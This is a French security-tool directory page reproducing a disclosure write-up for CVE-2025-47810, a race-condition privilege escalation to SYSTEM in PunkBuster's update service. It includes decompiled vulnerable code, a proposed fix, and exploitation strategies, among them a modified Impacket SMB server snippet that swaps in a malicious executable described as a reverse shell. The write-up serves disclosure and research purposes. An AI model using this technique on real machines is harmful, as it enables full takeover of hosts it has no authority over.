Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-47810 — PunkBuster LPI vers NT AUTHORITY\SYSTEM | Kitploit
Outils/GitHubGitHub/ptrstr/cve-2025-47810
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationMouvement LatéralAnalyse de Binaires
GitHubptrstr/cve-2025-47810

CVE-2025-47810

PunkBuster LPI vers NT AUTHORITY\SYSTEM

Voir le dépôt
il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PunkBuster LPI (CVE-2025-47810)

Screenshot

Contexte

PunkBuster s'installe sous la forme de deux services, et d'un pilote noyau optionnel.

  • PnkBstrA : Service qui s'exécute en permanence en arrière-plan et qui est chargé de gérer PunkBuster dans son ensemble
  • PnkBstrB : Service qui démarre lorsqu'un jeu protégé démarre. Il offre plus de fonctionnalités que son homologue A.

Les deux services sont structurés de manière similaire, écoutant l'UDP sur localhost sur un port de la plage [44301, 44400]. Une fois qu'un port est trouvé, il est écrit dans la valeur Port de HKLM:\SOFTWARE\Even Balance\PnkBstrA ou HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA.

Chaque requête est stockée dans un tampon global de 1500 octets (cependant, seuls 1499 octets sont reçus pour un terminateur NUL).

Il n'existe pas de structure standard pour les données de requête, mais voici leur structure habituelle :

  • premier octet (généralement une lettre) indiquant quelle fonctionnalité invoquer
  • arguments pour la fonctionnalité, généralement séparés par des espaces si plusieurs sont nécessaires

Les types de requêtes dans PnkBstrA sont les suivants :

  • l : Load (Chargement) : Démarre et met à jour PnkBstrB
    • Prend un argument (optionnel), le chemin de l'exécutable PnkBstrB mis à jour
  • u : Unload (Déchargement) : Arrête PnkBstrB
  • v : Version : Retourne simplement la version
  • m : Monitor (Surveillance) : Prend un PID et détermine si la DLL cliente PunkBuster (pbcl.dll) est dans le processus, en vidant sa mémoire si c'est le cas.

Vulnérabilité

Le gestionnaire de chargement (l) contient une vulnérabilité de type TOCTOU, conduisant à une élévation de privilèges locale en NT AUTHORITY\SYSTEM.

Le flux du gestionnaire ressemble à ceci :

  1. Supprimer le service PnkBstrB
  2. Calculer le MD5 du fichier dans l'argument, s'il est présent
  3. Valider l'Authenticode et les certificats de l'exécutable dans l'argument, s'il est présent
    • Parmi les autres vérifications, s'assurer que le sujet du certificat est Even Balance, Inc.
  4. Dormir entre 750 ms et 2,25 s sans aucun descripteur sur le fichier, tout en essayant de copier le fichier de l'argument vers C:\Windows\SysWOW64\PnkBstrB.exe ou C:\Windows\System32\PnkBstrB.exe, selon la plateforme
  5. Calculer le MD5 du fichier copié dans le répertoire système
  6. Valider que les deux MD5 correspondent
    • Si oui, créer et démarrer le service PnkBstrB s'exécutant en tant que LocalSystem avec le fichier nouvellement copié.

Le problème ici est que le fichier manipulé par PnkBstrA est rouvert de nombreuses fois pour chaque opération, ce qui conduit à une situation où un attaquant pourrait modifier le fichier entre les opérations.

Cela peut conduire à un problème où, après que le fichier a été validé pour son certificat, il est remplacé et un fichier malveillant finit comme exécutable du service PnkBstrB. Cet exécutable permettrait à un utilisateur non privilégié d'élever ses privilèges à NT AUTHORITY\SYSTEM.

La décompilation pertinente est présentée ici :

root@kitploit:~
int startPnkB(char *updateFileName) {
    ...

    // Calculate first MD5
    firstMd5Fp = fopen(updateFileName, "r+b");
    strcpy(firstMd5, "1");
    if ( firstMd5Fp )
      computeMD5(updateFileName, firstMd5);
    nowMs = GetTickCount();
    busyWaitExpiration = rand() % 800 + 300;
    while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
      ;
    fclose(firstMd5Fp);

    // INJECTION POINT 1

    // Check certificate
    certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
    if ( g_Warnings >= 3 )
    {
      log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
      if ( certificateFilePointer )
        fclose(certificateFilePointer);
      return 0;
    }

    if ( !checkValidCertificate(updateFileName) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
      goto LABEL_49;
    }

    // Build path to copy to
    GetSystemDirectoryA(g_SystemDirectory, 246u);
    if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
      strncat(g_SystemDirectory, 260, "\\");
    strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
    _chmod(g_SystemDirectory, 0600);
    strcpy(Str, g_SystemDirectory);

    ...

    // INJECTION POINT 2

    Sleep(750u);
    if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
    {
      Sleep(750u);
      for ( startTimea = 1; startTimea > 0; --startTimea )
      {
        Sleep(750u);
        if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
          break;
      }
      if ( startTimea < 1 )
      {
        LastError = GetLastError();
        log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
        fclose(certificateFilePointer);
        return 0;
      }
    }


    // Make sure we previously opened the file
    v9 = certificateFilePointer;
    if ( certificateFilePointer )
    {
      fclose(certificateFilePointer);
      v9 = fopen(g_SystemDirectory, "rb");
    }

    // Second MD5
    strcpy(newMd5, "2");
    if ( v9 )
      computeMD5(g_SystemDirectory, newMd5);
    if ( memcmp(firstMd5, newMd5, 0x10u) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
  LABEL_41:
      if ( v9 )
        fclose(v9);
      return 0;
    }
    ServiceA = CreateServiceA(
                 hSCManager,
                 "PnkBstrB",
                 "PnkBstrB",
                 0xF01FFu,
                 0x10u,
                 2u,
                 1u,
                 g_SystemDirectory,
                 0,
                 0,
                 0,
                 0,
                 0);

    ...
}

Un correctif simple consisterait à copier d'abord le fichier vers un emplacement sûr mais temporaire (c.-à-d. PnkBstrB.exe.tmp), puis à calculer le MD5 et les vérifications à partir de cet emplacement. Ainsi, le fichier ne serait pas modifiable par un acteur malveillant. Cela garantirait également qu'une seule copie du fichier est ouverte, ce qui empêche l'exploitation SMB.

Exploitation

Approche 1

Un scénario d'attaque pourrait consister à fournir un fichier malveillant, attendre que le MD5 soit calculé, remplacer le fichier par le PnkBstrB.exe d'origine afin que les vérifications WinVerifyTrust et de certificat passent, puis le remplacer à nouveau par le fichier malveillant, pour que le second MD5 passe et que le fichier soit copié et exécuté.

Cependant, ce scénario est très difficile à exécuter, car remplacer le fichier est difficile, et le modifier pendant qu'il est ouvert par PnkBstrA ne semble pas appliquer les modifications. Cela est dû au fait qu'il est difficile de programmer notre code dans le INJECTION POINT 1 comme vu dans le code. C'est probablement possible en utilisant de nombreux threads à priorité temporelle critique, dont certains tentent constamment de remplacer le fichier, et d'autres bloquent les cœurs concurrents dans des attentes actives.

Approche 2

Une autre approche consisterait à tenter d'obtenir une collision MD5 entre PnkBstrB et le fichier malveillant. Cela fonctionnerait en utilisant d'abord le fichier légitime comme candidat pour le premier MD5 et en le soumettant à la vérification du certificat. Cependant, après cela, nous disposons d'une belle fenêtre de 750 millisecondes ou plus pour remplacer le fichier par le nôtre. Ensuite, le second MD5 passerait et notre fichier serait injecté. Cependant, pendant le développement, j'étais trop paresseux pour attendre la génération d'une collision, j'ai donc opté pour une autre approche.

Approche 3

Ce code dépend de Windows et utilise fopen, qui correspond aux fonctions d'E/S propres à Windows. Par définition, cela signifierait que les partages SMB seraient accessibles. De plus, MSDN mentionne que ce comportement est pris en charge :

fopen accepte les chemins UNC et les chemins impliquant des lecteurs réseau mappés tant que le système qui exécute le code a accès au partage ou au lecteur mappé au moment de l'exécution

Cela signifie que nous pourrions utiliser notre première approche, mais comme le code dépendrait de notre partage SMB, nous envoyons différents fichiers selon le nombre de fois où le fichier a été demandé.

En modifiant le smbserver d'Impacket, il est possible d'obtenir ce comportement. Le fichier .patch complet se trouve ici. Les modifications clés sont :

root@kitploit:~
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
    ...
    
    if not hasattr(smbServer, '_hist'):
        smbServer._hist = {}

    if pathName.endswith('.exe'):
        if pathName not in smbServer._hist.keys():
            smbServer._hist[pathName] = 0
        
        smbServer._hist[pathName] += 1

        if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
            pathName = './PwnBstr.exe'
        else:
            pathName = './PnkBstrB.exe'

Comme vous pouvez le voir, si c'est la première fois que nous ouvrons le fichier (premier MD5) ou au moins la huitième fois (copie du fichier et au-delà), nous envoyons au client le fichier malveillant, tout en envoyant le fichier d'origine dans les autres cas.

Le code du fichier malveillant se trouve ici ; il s'agit d'un simple service « hello world » avec un reverse shell.

https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220

Divulgation

EvenBalance a été contacté à plusieurs reprises depuis le 2025-02-15 par différentes méthodes, mais n'a pas répondu.

Ce problème a été entièrement divulgué le 2025-05-10.

Télécharger l’outil